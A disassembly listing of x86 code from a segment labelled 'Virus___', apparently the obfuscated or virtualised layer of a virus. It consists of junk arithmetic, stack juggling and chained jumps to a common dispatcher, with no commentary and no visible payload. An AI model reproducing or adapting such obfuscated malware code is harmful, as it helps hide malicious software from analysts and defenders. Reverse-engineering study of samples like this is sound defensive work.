loc_580281: ; CODE XREF: Virus___:005923FFj add esp, 4 shr eax, 12h xor eax, ecx xor eax, ecx xor ecx, eax xor eax, ecx xor ecx, edx jmp loc_588FAA ; --------------------------------------------------------------------------- loc_580299: ; CODE XREF: Virus___:0058E4E2j pop dword ptr [esp] mov esp, [esp] jmp loc_5874BC ; --------------------------------------------------------------------------- loc_5802A4: ; CODE XREF: Virus___:00593378j mov [esp], edi mov edi, 0BDB35ABh and edi, 12DD14BDh not edi dec edi push ecx mov ecx, 70B33BCh add edi, ecx pop ecx shr edi, 7 jmp loc_58F383 ; --------------------------------------------------------------------------- mov ax, [esp] jmp loc_5813B8 ; --------------------------------------------------------------------------- loc_5802CF: ; CODE XREF: Virus___:0058807Fj sar dword ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5802D8: ; CODE XREF: Virus___:00584D5Aj push edx not dword ptr [esp] mov edx, [esp] jmp loc_590350 ; --------------------------------------------------------------------------- loc_5802E4: ; CODE XREF: Virus___:00584871j mov edx, 43F97F4Fh add edx, 6C6A457Eh add edx, 9988120Dh xor esi, edx jmp loc_5928CA ; --------------------------------------------------------------------------- loc_5802FC: ; CODE XREF: Virus___:0057F9E9j sub edi, 16D83AFCh add ebx, 8D31BCEh add ebx, 7DAE5AA9h add ebx, edi sub ebx, 7DAE5AA9h push edi jmp loc_58B592 ; --------------------------------------------------------------------------- loc_58031C: ; CODE XREF: Virus___:00584F0Bj push edx push edi push ebx mov ebx, 2F437A9Dh jmp loc_584C6D ; --------------------------------------------------------------------------- loc_580329: ; CODE XREF: Virus___:0058860Dj pop esp jmp loc_590AB1 ; --------------------------------------------------------------------------- loc_58032F: ; CODE XREF: Virus___:0058676Aj sub dl, bh jmp loc_588178 ; --------------------------------------------------------------------------- loc_580336: ; CODE XREF: Virus___:0058F721j push ebp dec dword ptr [esp] not dword ptr [esp] jmp loc_58C9D9 ; --------------------------------------------------------------------------- loc_580342: ; CODE XREF: Virus___:00582C32j push dword ptr [esp] mov edx, [esp] add esp, 4 push esi jmp loc_5874C5 ; --------------------------------------------------------------------------- loc_580351: ; CODE XREF: Virus___:00593D9Cj inc edi jmp loc_589E4B ; --------------------------------------------------------------------------- loc_580357: ; CODE XREF: Virus___:005850A9j pop esp mov [esp], esi mov esi, 62DB7277h xor edi, esi pop esi sub esp, 4 mov [esp], edi jmp loc_58C32B ; --------------------------------------------------------------------------- loc_580371: ; CODE XREF: Virus___:0058A55Bj mov esp, [esp] mov [esp], cx sub esp, 4 jmp loc_5814C4 ; --------------------------------------------------------------------------- lodsb xor al, bl push ebx sub esp, 4 mov [esp], ecx mov ch, 60h sub esp, 4 mov [esp], edx mov dh, 0C0h push 1658h mov [esp], ecx mov ch, 2Ah jmp loc_58CECC ; --------------------------------------------------------------------------- loc_5803A9: ; CODE XREF: Virus___:00583D14j add edi, 314A0D3Bh add edi, eax sub edi, 314A0D3Bh push ebp mov ebp, 7D810FA2h dec ebp inc ebp add ebp, 14072052h push esi mov esi, 160E7406h shr esi, 4 shl esi, 3 sub esi, 4DE17184h sub esi, 2E59E183h add ebp, esi pop esi add edi, ebp pop ebp pop eax add edi, 4 xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_58762B ; --------------------------------------------------------------------------- loc_5803F8: ; CODE XREF: Virus___:0057F8FBj sub esp, 4 mov [esp], ebp push ebx mov ebx, 18C54161h jmp loc_582B34 ; --------------------------------------------------------------------------- loc_58040C: ; CODE XREF: Virus___:0058509Bj shl eax, cl push edx jmp loc_58F204 ; --------------------------------------------------------------------------- loc_580414: ; CODE XREF: Virus___:00591D6Dj push small 392Ch mov [esp], cx jmp loc_57F37C ; --------------------------------------------------------------------------- loc_580421: ; CODE XREF: Virus___:00583FE6j mov [esp], eax push edx jmp loc_584792 ; --------------------------------------------------------------------------- loc_58042A: ; CODE XREF: Virus___:00584FB5j push 1B41h mov [esp], edi jmp loc_58590A ; --------------------------------------------------------------------------- loc_580437: ; CODE XREF: Virus___:0058E193j push esp pop ebx add ebx, 4 push ebp mov ebp, 4 jmp loc_57FDE1 ; --------------------------------------------------------------------------- loc_58044A: ; CODE XREF: Virus___:00593AC8j pop eax xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx mov bh, 0F2h xchg cl, bh xchg ah, cl jmp loc_58428B ; --------------------------------------------------------------------------- loc_580465: ; CODE XREF: Virus___:00591D35j pop ebx jmp loc_59356B ; --------------------------------------------------------------------------- loc_58046B: ; CODE XREF: Virus___:00587C4Ej pop ebx xor ecx, ebx pop ebx mov esi, ecx jmp loc_583062 ; --------------------------------------------------------------------------- loc_580476: ; CODE XREF: Virus___:00582277j sub ebp, 6E5136FCh add ecx, ebp jmp loc_58CCD8 ; --------------------------------------------------------------------------- loc_580483: ; CODE XREF: Virus___:0059333Fj push ebp mov ebp, esp add ebp, 4 push esi jmp loc_58398F ; --------------------------------------------------------------------------- loc_580492: ; CODE XREF: Virus___:005915C0j add eax, edi jmp loc_5845D6 ; --------------------------------------------------------------------------- loc_580499: ; CODE XREF: Virus___:005810B6j sub dl, 5Ah not dl sub dl, 85h sub bl, dl pop edx push ecx mov cl, 0FCh jmp loc_5832B5 ; --------------------------------------------------------------------------- loc_5804AC: ; CODE XREF: Virus___:00592AB9j pop ebp push edi mov edi, 756D2E99h sub edx, edi pop edi push 7D9Eh mov [esp], ebp jmp loc_585AA8 ; --------------------------------------------------------------------------- loc_5804C3: ; CODE XREF: Virus___:0059317Ej xor ecx, [esp] xor [esp], ecx jmp loc_58A99A ; --------------------------------------------------------------------------- loc_5804CE: ; CODE XREF: Virus___:005852E8j mov [esp], ax push small word ptr [esp+2] mov ax, [esp] jmp loc_588A55 ; --------------------------------------------------------------------------- loc_5804E0: ; CODE XREF: Virus___:005846C0j xchg edx, [esp] mov esp, [esp] mov eax, [esp] push 466h mov [esp], eax push 28F2h jmp loc_589506 ; --------------------------------------------------------------------------- loc_5804FB: ; CODE XREF: Virus___:005844F9j add ecx, 0F63D1CF2h jmp loc_58D411 ; --------------------------------------------------------------------------- loc_580506: ; CODE XREF: Virus___:00580F22j add dl, ah mov ax, [esp] add esp, 2 mov al, dl mov edx, [esp] add esp, 4 or al, 3Fh add al, 89h neg al and al, 29h sub esp, 4 mov [esp], ebx push ecx mov ch, 37h push ebx mov bh, 0ADh jmp loc_58A29A ; --------------------------------------------------------------------------- loc_580536: ; CODE XREF: Virus___:005850B9j pop ecx mov ecx, esi pop esi jmp loc_5875BF ; --------------------------------------------------------------------------- loc_58053F: ; CODE XREF: Virus___:00583E25j push eax mov eax, 4 push ecx mov ecx, 7495FB3h sub edi, 2C3D5360h jmp loc_58BE55 ; --------------------------------------------------------------------------- loc_580556: ; CODE XREF: Virus___:0058728Fj add esp, 4 sub eax, esi pop esi jmp loc_586FF2 ; --------------------------------------------------------------------------- loc_580561: ; CODE XREF: Virus___:0058CA75j mov edi, 66942800h jmp loc_58F53C ; --------------------------------------------------------------------------- loc_58056B: ; CODE XREF: Virus___:00593E9Fj mov edx, 27CD72F9h mov esi, 27CD72FDh xor esi, edx mov edx, [esp] add esp, 4 push ebx mov ebx, 7749797Fh add ebx, 16854B3Ah add ebx, 0B65069B5h add edi, ebx pop ebx add edi, esi sub edi, 441F2E6Eh jmp loc_58BBDE ; --------------------------------------------------------------------------- loc_5805A2: ; CODE XREF: Virus___:0058B8B9j push eax mov eax, esp jmp loc_591A7F ; --------------------------------------------------------------------------- loc_5805AA: ; CODE XREF: Virus___:00581C5Aj and ebx, 3E3E239Bh add ebx, 0F5C5FEEBh add edi, ebx mov ebx, [esp] add esp, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] pop dword ptr [esp] mov esp, [esp] xor [esp], al pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_5805DC: ; CODE XREF: Virus___:0058A984j add eax, edi jmp loc_5875EE ; --------------------------------------------------------------------------- loc_5805E3: ; CODE XREF: Virus___:00587223j pop ebx sub edx, 41ED2B36h jmp loc_59390A ; --------------------------------------------------------------------------- loc_5805EF: ; CODE XREF: Virus___:00583DE4j sub cl, 64h push bx jmp loc_5901A7 ; --------------------------------------------------------------------------- loc_5805F9: ; CODE XREF: Virus___:0058135Fj push 71D1h mov [esp], edi jmp loc_5862B0 ; --------------------------------------------------------------------------- loc_580606: ; CODE XREF: Virus___:00587488j add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 5EF75684h sub ecx, 24CE626Fh inc ecx jmp loc_587C42 ; --------------------------------------------------------------------------- loc_580628: ; CODE XREF: Virus___:00591F6Dj sub edi, 306E364Bh add edi, 0AC56246h sub edi, edx sub edi, 0AC56246h add edi, 306E364Bh mov edx, [esp] jmp loc_58908C ; --------------------------------------------------------------------------- loc_58064A: ; CODE XREF: Virus___:00585A4Dj sub edx, esi jmp loc_586D2B ; --------------------------------------------------------------------------- loc_580651: ; CODE XREF: Virus___:00588E3Dj xor ebp, eax jmp loc_581ACE ; --------------------------------------------------------------------------- loc_580658: ; CODE XREF: Virus___:00582EB8j add esp, 4 jmp loc_58FC1F ; --------------------------------------------------------------------------- loc_580660: ; CODE XREF: Virus___:0058A43Aj add esi, 4 jmp loc_58BA9B ; --------------------------------------------------------------------------- loc_58066B: ; CODE XREF: Virus___:00592265j xor edx, [esp] mov esp, [esp] sar byte ptr [esp], cl pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_58067A: ; CODE XREF: Virus___:00592E2Fj xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp jmp loc_582009 ; --------------------------------------------------------------------------- loc_580689: ; CODE XREF: Virus___:00587465j push ecx mov ecx, 4FA07C42h sub eax, ecx jmp loc_5822A2 ; --------------------------------------------------------------------------- loc_580696: ; CODE XREF: Virus___:00592DFFj add al, 0Bh sub dl, al jmp loc_58379E ; --------------------------------------------------------------------------- loc_58069F: ; CODE XREF: Virus___:0058691Fj shr ebx, 8 not ebx add ebx, 5FB39Ah jmp loc_5823EA ; --------------------------------------------------------------------------- loc_5806AF: ; CODE XREF: Virus___:00591887j mov ebp, edx mov edx, [esp] add esp, 4 mov eax, ebp pop ebp not eax add eax, 54F4DFFEh jmp loc_587787 ; --------------------------------------------------------------------------- loc_5806C6: ; CODE XREF: Virus___:0057FB63j add al, 0ACh add al, 2Eh mov edx, [esp] jmp loc_591F72 ; --------------------------------------------------------------------------- loc_5806D2: ; CODE XREF: Virus___:00585C3Cj add ebx, 2F126E4Fh jmp loc_580AA1 ; --------------------------------------------------------------------------- loc_5806DD: ; CODE XREF: Virus___:00585470j mov ecx, 6D61133Ah jmp loc_58E20C ; --------------------------------------------------------------------------- loc_5806E7: ; CODE XREF: Virus___:00592B0Aj mov dh, 0EAh shr dh, 7 and dh, 3Bh xor dh, 0F9h jmp loc_58FECF ; --------------------------------------------------------------------------- loc_5806F7: ; CODE XREF: Virus___:0058217Dj sub ebx, ebp pop ebp xchg ebx, [esp] pop esp jmp loc_593D71 ; --------------------------------------------------------------------------- loc_580703: ; CODE XREF: Virus___:0058E0D1j sub edi, 3F2E7606h jmp loc_58ED42 ; --------------------------------------------------------------------------- loc_58070E: ; CODE XREF: Virus___:0058BE7Dj add esi, ebx pop ebx xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] not edx dec edx dec edx xor edx, 450E5DA4h add esi, edx jmp loc_588981 ; --------------------------------------------------------------------------- loc_58072E: ; CODE XREF: Virus___:00585D37j xor eax, ebp jmp loc_592903 ; --------------------------------------------------------------------------- loc_580735: ; CODE XREF: Virus___:0058CBA2j push dword ptr [esp] mov ecx, [esp] add esp, 4 push 12F5h mov [esp], edi push 0D1Ah push 6BDDh mov [esp], esp push edi mov edi, 4 add [esp+4], edi jmp loc_58A520 ; --------------------------------------------------------------------------- loc_580762: ; CODE XREF: Virus___:0058BB4Aj xchg edi, [esp] pop esp shr eax, 0Bh xor ecx, eax push 2324h mov [esp], ebx push dword ptr [esp] push dword ptr [esp] jmp loc_592FF7 ; --------------------------------------------------------------------------- loc_58077E: ; CODE XREF: Virus___:0058C03Cj pop ecx jmp loc_58528A ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- lodsd push 4CCFh mov [esp], esi push edx mov edx, 43274FCh mov esi, edx pop edx add eax, 70CE38D7h sub eax, esi push esi mov esi, 7F891B51h xor esi, 69001AF8h inc esi xor esi, 61951A77h and esi, 2E455338h sub esi, 4E3D4F7Ah xor esi, 0A708FB49h jmp loc_58D85B ; --------------------------------------------------------------------------- loc_5807D7: ; CODE XREF: Virus___:0058266Aj mov ebx, 380840ADh neg ebx jmp loc_589327 ; --------------------------------------------------------------------------- loc_5807E3: ; CODE XREF: Virus___:0058FEE5j mov ebp, esp push ebx mov ebx, 0F6C50E7h xor ebx, 327A367Dh shl ebx, 2 sub ebx, 3E054FE7h shl ebx, 5 shl ebx, 8 jmp loc_586392 ; --------------------------------------------------------------------------- loc_580805: ; CODE XREF: Virus___:0058F6A9j mov ecx, 1560BA86h xor esi, ecx jmp loc_58569E ; --------------------------------------------------------------------------- loc_580811: ; CODE XREF: Virus___:005900C3j mov [esp], edi not dword ptr [esp] jmp loc_588E92 ; --------------------------------------------------------------------------- loc_58081C: ; CODE XREF: Virus___:0058DF2Cj xor esi, 0A935D50h add ebp, esi pop esi mov edi, [esp] jmp loc_591396 ; --------------------------------------------------------------------------- loc_58082D: ; CODE XREF: Virus___:0058A21Bj pop ecx sub ebx, 2F126E4Fh jmp loc_585C3A ; --------------------------------------------------------------------------- loc_580839: ; CODE XREF: Virus___:0058227Dj push esp jmp loc_58C9E5 ; --------------------------------------------------------------------------- loc_58083F: ; CODE XREF: Virus___:00582D33j add esp, 4 add eax, 71145B03h sub eax, 450B52CEh add eax, edx add eax, 450B52CEh sub eax, 71145B03h mov edx, [esp] add esp, 4 xor ebx, eax jmp loc_58C1D4 ; --------------------------------------------------------------------------- loc_580865: ; CODE XREF: Virus___:0058835Fj mov dl, ch push ecx push eax mov ah, dl mov ch, ah pop eax mov bh, ch jmp loc_58476D ; --------------------------------------------------------------------------- loc_580875: ; CODE XREF: Virus___:0058265Ej add ebx, ebp sub ebx, 19201A89h jmp loc_583B0F ; --------------------------------------------------------------------------- loc_580882: ; CODE XREF: Virus___:00592A7Fj sub edx, 10A06025h mov edi, edx jmp loc_58CED7 ; --------------------------------------------------------------------------- loc_58088F: ; CODE XREF: Virus___:0058AF6Dj add dword ptr [eax], 1 mov eax, [esp] jmp loc_5936EE ; --------------------------------------------------------------------------- loc_58089D: ; CODE XREF: Virus___:0058D988j or ecx, ecx jz loc_58BA8B sub esp, 4 push esp pop dword ptr [esp] sub esp, 4 mov [esp], esi mov esi, 4 push ebx mov ebx, 4FDB268Dh sub [esp+8], ebx jmp loc_58CCB5 ; --------------------------------------------------------------------------- loc_5808CC: ; CODE XREF: Virus___:0058F8B9j add esi, 1 xor esi, 3D674106h add esi, 0FA55E526h mov ecx, esi pop esi jmp loc_587C92 ; --------------------------------------------------------------------------- loc_5808E3: ; CODE XREF: Virus___:0058BF84j push eax mov ah, bh push ebx mov bh, ah push edx mov dl, bh mov ch, dl pop edx mov ebx, [esp] add esp, 4 pop eax pop ebx xor al, ch mov cx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp jmp loc_580F0D ; --------------------------------------------------------------------------- loc_58090D: ; CODE XREF: Virus___:00581D34j shr ebx, 5 shr ebx, 6 push eax mov eax, 366D1EDFh jmp loc_594542 ; --------------------------------------------------------------------------- loc_58091E: ; CODE XREF: Virus___:0058D5D7j push 4 pop edx jmp loc_580B0D ; --------------------------------------------------------------------------- loc_580929: ; CODE XREF: Virus___:0058F435j add edi, 4 jmp loc_58B522 ; --------------------------------------------------------------------------- loc_580931: ; CODE XREF: Virus___:00585D87j pop edx pop esi jmp loc_582669 ; --------------------------------------------------------------------------- loc_580938: ; CODE XREF: Virus___:005833BBj push edx push eax mov edx, [esp] add esp, 4 mov eax, [esp] sub esp, 4 mov [esp], ebp jmp loc_593A3D ; --------------------------------------------------------------------------- loc_58094E: ; CODE XREF: Virus___:0058229Dj xor ecx, 0A50F9A41h jmp loc_589603 ; --------------------------------------------------------------------------- loc_580959: ; CODE XREF: Virus___:0058FE43j xchg esi, [esp] pop esp mov [esp], esi push 0CE5h mov [esp], ecx mov ecx, 6DCB4F9Dh mov esi, ecx pop ecx and esi, 50B217BAh sub esi, 4D4B2D24h jmp loc_593832 ; --------------------------------------------------------------------------- loc_580981: ; CODE XREF: Virus___:00589D54j mov di, 3472h and di, 66ECh add di, 3BE6h mov ax, di mov edi, [esp] add esp, 4 not ax push dx mov dx, 3A6Bh jmp loc_5823B0 ; --------------------------------------------------------------------------- loc_5809A9: ; CODE XREF: Virus___:0058E18Dj add esp, 4 pop edx jmp loc_57F7BD ; --------------------------------------------------------------------------- loc_5809B5: ; CODE XREF: Virus___:00588A56j mov eax, esp jmp loc_582AB7 ; --------------------------------------------------------------------------- loc_5809BC: ; CODE XREF: Virus___:0058DEA5j push esi mov esi, 558C372Ch sub edx, esi pop esi xor edx, 4FE9484Eh shl edx, 6 shl edx, 2 push eax mov eax, 4C69547Dh sub eax, 0A7D36351h sub edx, eax pop eax add ebx, edx pop edx push eax mov eax, 64310C6Eh not eax xor eax, 451276Ah push edx mov edx, 164A03D2h add edx, 0B4BCD35Fh xor eax, edx jmp loc_586367 ; --------------------------------------------------------------------------- loc_580A02: ; CODE XREF: Virus___:00586590j push 6EAEh mov [esp], eax push esp mov eax, [esp] add esp, 4 push edx mov edx, 722D277Ah jmp loc_58C9C3 ; --------------------------------------------------------------------------- loc_580A1F: ; CODE XREF: Virus___:0058D39Cj mov [esp], edi mov edi, eax push ebp mov ebp, esp jmp loc_5891FF ; --------------------------------------------------------------------------- loc_580A2C: ; CODE XREF: Virus___:0058D010j and al, cl mov cx, [esp] push edi jmp loc_58C484 ; --------------------------------------------------------------------------- loc_580A38: ; CODE XREF: Virus___:00590D69j pop ebx pop dword ptr [esp] pop esp add edi, eax jmp loc_590005 ; --------------------------------------------------------------------------- loc_580A44: ; CODE XREF: Virus___:0058C7CDj mov esp, [esp] push 4B48h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] jmp loc_58A715 ; --------------------------------------------------------------------------- loc_580A65: ; CODE XREF: Virus___:00590E97j dec esi not esi neg esi sub esi, 1 sub esi, 0EF6A27Ah jmp loc_581ECE ; --------------------------------------------------------------------------- loc_580A7B: ; CODE XREF: Virus___:00587C19j push ecx push eax mov eax, 20430D45h jmp loc_58E144 ; --------------------------------------------------------------------------- loc_580A87: ; CODE XREF: Virus___:00583940j sub ebx, 4A075B39h add ebx, eax add ebx, 4A075B39h jmp loc_5865B2 ; --------------------------------------------------------------------------- loc_580A9A: ; CODE XREF: Virus___:0058B9E1j sub eax, ecx jmp loc_5825EF ; --------------------------------------------------------------------------- loc_580AA1: ; CODE XREF: Virus___:005806D8j push eax mov eax, 4C5334EBh add ebx, eax pop eax push dword ptr [esp] pop edx add esp, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] mov [esp], ecx push esp jmp loc_586CE4 ; --------------------------------------------------------------------------- loc_580AC9: ; CODE XREF: Virus___:00588DEDj xor edi, eax pop eax push 6F63h mov [esp], edx mov edx, edi mov ecx, edx pop edx pop edi jmp loc_588042 ; --------------------------------------------------------------------------- loc_580ADF: ; CODE XREF: Virus___:0058E8E2j pop edi add esp, 4 jmp loc_58BEB8 ; --------------------------------------------------------------------------- loc_580AEB: ; CODE XREF: Virus___:005912A3j add eax, 628E5ABFh jmp loc_583054 ; --------------------------------------------------------------------------- loc_580AF5: ; CODE XREF: Virus___:005921A1j mov ch, bh mov ah, ch jmp loc_586BC1 ; --------------------------------------------------------------------------- loc_580AFE: ; CODE XREF: Virus___:0058C09Cj jmp loc_57F37C ; --------------------------------------------------------------------------- loc_580B03: ; CODE XREF: Virus___:0058877Cj add eax, 2701637Bh jmp loc_591D91 ; --------------------------------------------------------------------------- loc_580B0D: ; CODE XREF: Virus___:00580924j push ecx mov ecx, 204D6128h sub edi, 3C6A4D7Eh sub edi, ecx add edi, 3C6A4D7Eh pop ecx sub edi, 633C1E5Ah jmp loc_58C4BE ; --------------------------------------------------------------------------- loc_580B2D: ; CODE XREF: Virus___:005876C2j shr ecx, 7 jmp loc_57F752 ; --------------------------------------------------------------------------- loc_580B35: ; CODE XREF: Virus___:00589868j mov cl, dl pop edx pop ebx sub bl, 16h add bl, cl add bl, 16h push dword ptr [esp] pop ecx add esp, 4 add bl, al push ecx jmp loc_5844D1 ; --------------------------------------------------------------------------- loc_580B50: ; CODE XREF: Virus___:0058300Cj pop ebx push dword ptr [esp] pop eax add esp, 4 add eax, 53C132F6h push edx push esi jmp loc_592CCA ; --------------------------------------------------------------------------- loc_580B64: ; CODE XREF: Virus___:00590D0Cj shr ebp, 2 not ebp inc ebp add ebp, 1285E0Fh add edx, ebp mov ebp, [esp] add esp, 4 jmp loc_58C11F ; --------------------------------------------------------------------------- loc_580B80: ; CODE XREF: Virus___:0058BC3Aj pop dword ptr [esp] pop esp sub esp, 4 mov [esp], edx push 0E25h mov [esp], edi push 0AF7h mov [esp], eax push ebp push eax jmp loc_588807 ; --------------------------------------------------------------------------- loc_580BA1: ; CODE XREF: Virus___:00591772j sub [esp+4], esi pop esi pop edx add edx, 209169D6h push edx mov ecx, [esp] add esp, 4 pop edx pop esi sub edi, 25F524AEh sub edi, ecx jmp loc_5863C8 ; --------------------------------------------------------------------------- loc_580BC3: ; CODE XREF: Virus___:005905B1j mov [esp], ecx mov ecx, 4F332F38h push ebp mov ebp, 50606E0Ah jmp loc_5921D9 ; --------------------------------------------------------------------------- loc_580BD6: ; CODE XREF: Virus___:005852FAj add edx, 50722215h jmp loc_58220D ; --------------------------------------------------------------------------- loc_580BE1: ; CODE XREF: Virus___:00581F2Cj push edx push 9Dh mov [esp], ebx jmp loc_58798D ; --------------------------------------------------------------------------- loc_580BEF: ; CODE XREF: Virus___:0059235Fj xor ecx, 5312306h mov ebp, ecx mov ecx, [esp] jmp loc_58C4F8 ; --------------------------------------------------------------------------- loc_580BFF: ; CODE XREF: Virus___:0058EE5Dj xchg edi, [esp] pop esp mov [esp], ebx jmp loc_587FF8 ; --------------------------------------------------------------------------- loc_580C0B: ; CODE XREF: Virus___:00588635j push esp mov ecx, [esp] add esp, 4 jmp loc_586C28 ; --------------------------------------------------------------------------- loc_580C1A: ; CODE XREF: Virus___:00592373j add esp, 4 push ebp push dword ptr [esp+4] push dword ptr [esp] pop ebp jmp loc_5935FA ; --------------------------------------------------------------------------- loc_580C2B: ; CODE XREF: Virus___:0058ABD4j mov [esp], edx sub esp, 4 mov [esp], ebp push ecx jmp loc_58AD49 ; --------------------------------------------------------------------------- loc_580C3A: ; CODE XREF: Virus___:00587F80j sub esp, 4 mov [esp], ebp mov eax, [esp] add esp, 4 mov ebp, [esp] add esp, 4 xchg ebx, ebp not ebx jmp loc_589EB5 ; --------------------------------------------------------------------------- loc_580C58: ; CODE XREF: Virus___:005814B5j pop eax pop ecx jmp loc_58CB75 ; --------------------------------------------------------------------------- loc_580C5F: ; CODE XREF: Virus___:005888B2j add ecx, 24CB11FEh jmp loc_586D63 ; --------------------------------------------------------------------------- loc_580C6A: ; CODE XREF: Virus___:00589ED2j push esp pop eax push ebp jmp loc_58D12A ; --------------------------------------------------------------------------- loc_580C72: ; CODE XREF: Virus___:00583A37j sub edi, 4FA25360h pop ebp shl edi, 2 sub edi, 1 not edi shr edi, 1 add edi, 3F494E15h push ebx mov ebx, 98B4528Ah add edi, ebx pop ebx jmp loc_58D5DC ; --------------------------------------------------------------------------- loc_580C9A: ; CODE XREF: Virus___:00592503j mov [esp], ebx push edx push ebx mov ebx, 19970092h xor ebx, 55992976h xor ebx, 492510BFh and ebx, 4F7543C7h neg ebx shl ebx, 2 add ebx, 3D2E45B4h mov edx, ebx pop ebx sub edx, 28AA40A4h jmp loc_581665 ; --------------------------------------------------------------------------- loc_580CCF: ; CODE XREF: Virus___:0059222Aj mov [esp], esp jmp loc_57F725 ; --------------------------------------------------------------------------- loc_580CD7: ; CODE XREF: Virus___:00587E8Fj mov [esp], ecx sub esp, 4 mov [esp], edx jmp loc_592FBF ; --------------------------------------------------------------------------- loc_580CE8: ; CODE XREF: Virus___:0058D2A5j mov ebp, 47DC56D0h jmp loc_58944E ; --------------------------------------------------------------------------- loc_580CF2: ; CODE XREF: Virus___:00593BEFj shr ecx, 3 and ecx, 65D83A3Bh shl ecx, 4 push eax push edi mov edi, 502B0830h shl edi, 1 shr edi, 5 xor edi, 7365AF6Fh mov eax, edi pop edi shl eax, 6 add eax, 53222h jmp loc_5824BE ; --------------------------------------------------------------------------- loc_580D20: ; CODE XREF: Virus___:00593B14j push dx push eax mov ah, 0Bh jmp loc_5814F0 ; --------------------------------------------------------------------------- loc_580D2A: ; CODE XREF: Virus___:00587F18j push esp pop dword ptr [esp] add dword ptr [esp], 4 mov edi, [esp] jmp loc_58005A ; --------------------------------------------------------------------------- loc_580D3D: ; CODE XREF: Virus___:005800CDj mov edx, esp jmp loc_585613 ; --------------------------------------------------------------------------- loc_580D44: ; CODE XREF: Virus___:00586933j pop ebx shr edi, 2 jmp loc_589654 ; --------------------------------------------------------------------------- loc_580D4D: ; CODE XREF: Virus___:00582E06j dec bh jmp loc_587092 ; --------------------------------------------------------------------------- loc_580D54: ; CODE XREF: Virus___:0058D018j push dword ptr [esp] push dword ptr [esp] pop eax sub esp, 4 mov [esp], edx mov edx, esp jmp loc_581F3C ; --------------------------------------------------------------------------- loc_580D6B: ; CODE XREF: Virus___:00591491j pop dword ptr [esp] pop esp push small 77CCh mov [esp], bx push edx mov dl, 58h or dl, 8Ch dec dl jmp loc_593825 ; --------------------------------------------------------------------------- loc_580D84: ; CODE XREF: Virus___:00593C6Bj pop eax jmp loc_582B02 ; --------------------------------------------------------------------------- loc_580D8A: ; CODE XREF: Virus___:00582143j sub esp, 4 mov [esp], ebp push 5E9Eh mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_585E92 ; --------------------------------------------------------------------------- loc_580DAE: ; CODE XREF: Virus___:0058E1C6j not ecx add ecx, 1 push ebp mov ebp, 7E54071h jmp loc_58A024 ; --------------------------------------------------------------------------- loc_580DC1: ; CODE XREF: Virus___:0058005Ej mov eax, 652E4863h sub esp, 4 jmp loc_584076 ; --------------------------------------------------------------------------- loc_580DCE: ; CODE XREF: Virus___:00588114j add ebx, 47FE742Bh sub ebx, 0FA83992h push edx push 0 mov edx, [esp] jmp loc_5837CF ; --------------------------------------------------------------------------- loc_580DE8: ; CODE XREF: Virus___:00591FF0j add dh, 1 sub dh, 8Fh sub dh, 0F0h push eax mov al, 89h neg al sub al, 0B9h jmp loc_588D8B ; --------------------------------------------------------------------------- loc_580DFD: ; CODE XREF: Virus___:00589D40j push edx mov edx, 67E51004h mov esi, edx pop edx neg esi push ecx mov ecx, 3CE52519h sub esi, ecx pop ecx xor esi, 49BE5093h add esi, 49CECBAFh mov ebx, esi push dword ptr [esp] jmp loc_58AEB8 ; --------------------------------------------------------------------------- loc_580E27: ; CODE XREF: Virus___:0057F5D1j push ecx mov ecx, 9127B26h sub esp, 4 jmp loc_591134 ; --------------------------------------------------------------------------- loc_580E35: ; CODE XREF: Virus___:0058F731j sub edx, 4 xchg edx, [esp] jmp loc_581B49 ; --------------------------------------------------------------------------- loc_580E40: ; CODE XREF: Virus___:0058B52Fj push ebx mov bl, 42h xor cl, bl pop ebx add al, cl pop ecx add al, dl sub al, 55h pop edx jmp loc_584CBE ; --------------------------------------------------------------------------- loc_580E53: ; CODE XREF: Virus___:00594385j pop esp mov ax, [esp] push 6F81h jmp loc_591597 ; --------------------------------------------------------------------------- loc_580E62: ; CODE XREF: Virus___:00585FEBj pop edx add ebp, eax pop eax add ebp, 4 xchg ebp, [esp] pop esp push ecx jmp loc_58D0D4 ; --------------------------------------------------------------------------- loc_580E73: ; CODE XREF: Virus___:0057FE83j add eax, 2 xor eax, [esp] xor [esp], eax jmp loc_593BB5 ; --------------------------------------------------------------------------- loc_580E81: ; CODE XREF: Virus___:005861EAj mov ebx, 708BDFCAh xor esi, ebx mov ebx, [esp] push eax mov eax, esp jmp loc_5845C3 ; --------------------------------------------------------------------------- loc_580E93: ; CODE XREF: Virus___:00593F58j push 0E2Ah mov [esp], ebx push esi push 669C4B28h pop esi xor esi, 669C4B34h jmp loc_5938A4 ; --------------------------------------------------------------------------- loc_580EAD: ; CODE XREF: Virus___:0058882Cj mov [esp], ebp mov ebp, esp sub esp, 4 mov [esp], eax mov eax, 2FE32DEEh dec eax not eax jmp loc_58AC9D ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_583945 ; --------------------------------------------------------------------------- loc_580ED0: ; CODE XREF: Virus___:0058BCF7j and eax, 1BE30F5h jmp loc_58D1CD ; --------------------------------------------------------------------------- loc_580EDA: ; CODE XREF: Virus___:0058C5A0j not dword ptr [esp] pop ebx inc ebx sub ebx, 8AB08EA5h push ebx xor dword ptr [esp], 5DB87F1Dh mov ecx, [esp] jmp loc_58A3A6 ; --------------------------------------------------------------------------- loc_580EF5: ; CODE XREF: Virus___:00590F89j push ebp mov ebp, 52C07168h jmp loc_589E9F ; --------------------------------------------------------------------------- loc_580F00: ; CODE XREF: Virus___:0058B946j pop esp add esp, 4 add [esp], eax pushf jmp loc_57F37C ; --------------------------------------------------------------------------- loc_580F0D: ; CODE XREF: Virus___:00580908j add ecx, 4 add ecx, 2 xchg ecx, [esp] jmp loc_58FCB8 ; 